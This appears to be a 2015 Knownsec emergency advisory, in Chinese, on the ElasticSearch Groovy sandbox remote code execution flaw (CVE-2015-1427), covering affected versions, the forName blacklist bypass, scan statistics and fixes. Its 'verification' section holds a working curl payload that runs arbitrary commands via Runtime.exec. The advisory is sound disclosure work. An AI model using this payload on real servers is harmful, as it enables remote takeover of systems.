ElasticSearch Groovy 脚本 远程代码执行漏洞 应急概要
知道创宇安全研究团队 2015 . 03 . 06
本文 PDF 下载:ElasticSearch Groovy 脚本远程代码执行漏洞应急概要V4
一、漏洞概要
2015 年 03 月 05 日,ElasticSearch 惊爆严重安全漏洞,编号为 CVE-2015-1427 ,该漏洞将导致远程攻击者在受影响的系统上执行任意代码。
二、漏洞描述
ElasticSearch 是一个 JAVA 开发的搜索分析引擎。2014 年,曾经被曝出过一个远程代码执行漏洞( CVE-2014-3120 ),漏洞出现在脚本查询模块,由于搜索引擎支持使用脚本代码( MVEL ),作为表达式进行数据操作,攻击者可以通过 MVEL 构造执行任意 Java 代码,后来脚本语言引擎换成了 Groovy ,并且加入了沙盒进行控制,危险的代码会被拦截,结果这次由于沙盒限制的不严格,导致远程代码执行。
三、漏洞影响
受影响版本:
1.4: 1.4.2 , 1.4.1 , 1.4.0 , 1.4.0.Beta1
1.3: 1.3.7 , 1.3.6 , 1.3.5 , 1.3.4 , 1.3.3 , 1.3.2 , 1.3.1 , 1.3.0.
四、漏洞分析
产生漏洞代码在实现沙盒的类是 com.elasticsearch.script.groovy.GroovySandboxExpression-Checker ,它订制了 Groovy 的沙盒,对表达式进行了安全检测,但是这个沙盒与 Java 的 SecurityManager 那种沙盒是不同的,从代码中可以看到这个沙盒,只是根据黑白名单,在表达式语义上判断表达式是否合法的,可以说是一个“浅”沙盒。
具体的代码流程如下图:
允许调用白名单的如下:
从上面的白名单中可以看到,允许构造对象和方法调用的类,都是一些常规类,没有我们可以利用的类,而且如果我们想要利用反射去调用我们想调用的类,方法黑名单中又限制了 getClass 的调用,我们无法通过 getClass 方法获取 Class 对象,但是我们可以看到方法白名单中,并没有对 forName 方法进行限制,也就是说,如果我们能获取到 Class 对象,再调用 forName 方法就可以获取到我们想访问的类。
漏洞原文出处:http://drops.wooyun.org/papers/5107
五、漏洞验证
可以使用以下命令对 ElasticSearch 系统进行漏洞检测。
在 Bash下运行
1 2 3 4 5 6 7 8 9 10 |
curl -XPOST "目标地址:9200/_search" -d { "size":1, "script_fields": {"knownsec": {"script": "p=Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"你要执行的命令\").getText()","lang": "groovy" } } } |
六、ZoomEye应急概要
ElasticSearch Groovy 脚本远程代码执行是一个严重的漏洞,黑客可以直接控制存着这个漏洞的服务器.
来自知道创宇的 ZoomEye 团队(钟馗之眼网络空间探知系统)通过几种方式的组合检测,得到了些影响结论。
注意:以下这些影响都是可被直接远程攻击的,属于高危级别!
第一组数据 2015 / 03 / 04
我们基于 ZoomEye 库里的 53469 个 9200 端口 IP ,进行本次漏洞检测,受本次漏洞影响可被远程访问的主机数为 3852 个,其中中国大陆有 245 台外网可访问的 ElasticSearch 服务器受到影响.
第二组数据 2015 / 03 / 05
我们又对 2014 公布的 ElasticSearch 远程任意代码执行漏洞 ( CVE-2014-3120 ) 和这次爆出的漏洞 ( CVE-2015-1427 ) 漏洞都进行了检测。
受 CVE-2014-3120 影响的主机数为 583 个
受 CVE-2015-1427 影响的主机数为 3843 个
七、修复建议
方法一:升级到官方最新版本
方法二:在 ElasticSearch 文件下 /config/elasticsearch.yml 中加入:script.groovy.sandbox.enabled: false
八、相关资源链接
知道创宇官网:http://www.knownsec.com/
知道创宇旗下 - ZoomEye官网:http://www.zoomeye.org/
知道创宇旗下 - 加速乐云防御平台官网:http://www.jiasule.com/